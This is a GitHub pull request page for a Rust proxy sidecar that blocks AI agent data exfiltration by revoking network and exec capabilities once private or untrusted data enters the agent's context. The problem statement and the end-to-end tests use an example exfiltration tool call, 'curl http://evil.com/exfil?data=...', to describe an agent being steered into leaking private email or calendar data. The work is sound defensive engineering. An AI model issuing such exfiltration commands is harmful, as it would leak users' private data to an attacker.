feat(capability-ratchet): add Rust capability ratchet sidecar#3
Open
ericksoa wants to merge 6 commits intoNVIDIA:mainfrom
Open
feat(capability-ratchet): add Rust capability ratchet sidecar#3ericksoa wants to merge 6 commits intoNVIDIA:mainfrom
ericksoa wants to merge 6 commits intoNVIDIA:mainfrom
Conversation
Add a per-request, stateless HTTP proxy sidecar that prevents AI agent data exfiltration by dynamically revoking capabilities when private or untrusted data enters the conversation context. Implementation: - Axum 0.8 HTTP server: /v1/chat/completions proxy + /health endpoint - Taint detection from tool results (has-private-data, has-untrusted-input) - 2x2 revocation matrix mapping taint flags to forbidden capabilities - Three API format normalizers: Chat Completions, Anthropic, Responses API - bash-ast Unix socket client for AST-based command analysis - Recursive bash -c unwrapping with shlex fallback - OS-level sandbox rewriting (unshare --net / sandbox-exec) - Tool analysis pipeline: capability detection, reversibility, URL extraction - User approval flow via X-Ratchet-Approve header - Shadow mode for log-only deployment - Multi-stage Docker build producing a single static binary - 44 unit and integration tests Tech stack matches NemoClaw core: Axum, Tokio, Reqwest, serde, tracing. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> Signed-off-by: Aaron Erickson <aerickson@nvidia.com>
e59f925 to
923a2f9
Compare
Update all references across the repo from the old NemoClaw branding to OpenShell, including Docker image names, CLI commands, config files, documentation, and source code comments. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
- Fix all 38 clippy pedantic/nursery warnings (manual_let_else, missing_errors_doc, option_if_let_else, or_fun_call, too_many_lines, significant_drop_tightening, iter_on_single_items, unnecessary_wraps, type_complexity, needless_continue, missing_panics_doc, etc.) - Run cargo fmt across all source files - Fix shellcheck SC2034 warning (unused loop variable in ratchet-start.sh) - Fix grammar: "A OpenShell" → "An OpenShell" in README - Add #[allow(dead_code)] to unused test helper sample_config() - Extract helpers to reduce function line counts (server.rs, normalize.rs) - Use static defaults to avoid or_fun_call with temporary references Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
- Only force stream:false on tainted requests (non-tainted pass through) - Add force_non_streaming parameter to forward_to_backend - Add X-Ratchet-Stream-Blocked response header when streaming is disabled - Document why the ratchet exists vs Docker --network=none - Add honest Limitations section to README Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Problem
OpenShell already enforces strong perimeter security — Landlock filesystem isolation, process sandboxing, and network policies that restrict which binaries can reach which endpoints. These controls are effective at containing agents at the OS level.
However, perimeter controls alone can't reason about what data is in the agent's context at inference time. An agent that reads private data (email, calendar) and then asks the LLM for a tool call like
curl http://evil.com/exfil?data=...would pass OpenShell's network policy as long ascurlis an allowed binary. The exfiltration happens through the LLM's reasoning, not through a direct syscall bypass.This is the confused deputy attack vector for agentic systems — and it requires a defense layer that operates at the inference request level, complementing OpenShell's existing OS-level controls.
Solution
A Capability Ratchet sidecar — a per-request, stateless HTTP proxy that adds defense-in-depth by sitting between the OpenShell sandbox proxy and the inference backend. It analyzes each request/response pair and blocks or rewrites tool calls that would violate the ratchet policy.
The ratchet is "one-way": once private or untrusted data enters the context, certain capabilities (network egress, arbitrary exec, irreversible exec) are revoked for that request. The agent can ask the user to approve blocked actions via the
X-Ratchet-Approveheader.This complements OpenShell's existing protections — OpenShell handles the perimeter, the ratchet handles context-aware capability restriction.
Architecture
End-to-End Test
The sidecar was verified end-to-end in Docker (colima) with three scenarios:
Build
docker build --build-arg BASE_IMAGE=openshell-base -t openshell-ratchet .Test Setup
A container runs: bash-ast server → mock Python HTTP backend (port 9999) → Rust sidecar (port 4001). The mock backend returns a
curl http://evil.com/exfiltool call whenever tool results are present in the request.Test 1: Clean request passes through
No taint detected → request and response pass through unmodified.
Test 2: Tainted request blocks exfiltration
The
read_emailtool produceshas-private-datataint (per policy) →network:egressis forbidden → the LLM'scurltool call is blocked. The response includesratchet_metadata.approve_value: "tc99"so the agent can ask the user for approval.Test 3: User-approved request passes through
X-Ratchet-Approve: tc99header → tool calltc99bypasses analysis → original response returned.Contributor Notes
Tech Stack
Chosen to match OpenShell core: Axum 0.8, Tokio 1.43, Reqwest 0.12 (rustls), serde, tracing (JSON), Clap 4.5. Edition 2024, rust-version 1.88. Clippy pedantic + nursery.
Module Map
types.rsTaintFlag,Capability,Reversibility,ToolCallenums/structsconstants.rsSHELLS,NETWORK_COMMANDS,INTERPRETER_COMMANDS,NETWORK_CODE_INDICATORSknown_safe.rsrevocation.rsreversibility.rsconfig.rsSidecarConfigfrom YAML + env var resolutionpolicy.rstools[cmd subcmd]→tools[cmd]→knownSafe→ unknownnormalize.rsbash_ast.rsbash_unwrap.rsbash -cunwrapping viaBoxFuture(max depth 5)sandbox.rsunshare --net/sandbox-execAST rewritingtaint.rstool_analysis.rsproxy.rsstream: false)server.rsmain.rsKey Design Decisions
serde_json::Valuethroughout: The sidecar is format-agnostic and forward-compatible. Defining request/response structs would create rigidity.BTreeSetfor taint/capability sets: Deterministic ordering in logs and testsAppStateviaArc: Standard Axum pattern for config + policy + HTTP client + bash-ast clientTesting
Docker
docker build --build-arg BASE_IMAGE=openshell-base -t openshell-ratchet .Multi-stage build:
rust:1.88-bookwormbuilder → base sandbox image. Single static binary at/usr/local/bin/capability-ratchet-sidecar.Config Files (unchanged from prototype)
ratchet-config.yaml— upstream URL, API key env var, listen addr, bash-ast socket, shadow moderatchet-policy.yaml— tool taint declarations, capability requirements, approved endpointspolicy.yaml— OpenShell network policy (filesystem, process, network ACLs)🤖 Generated with Claude Code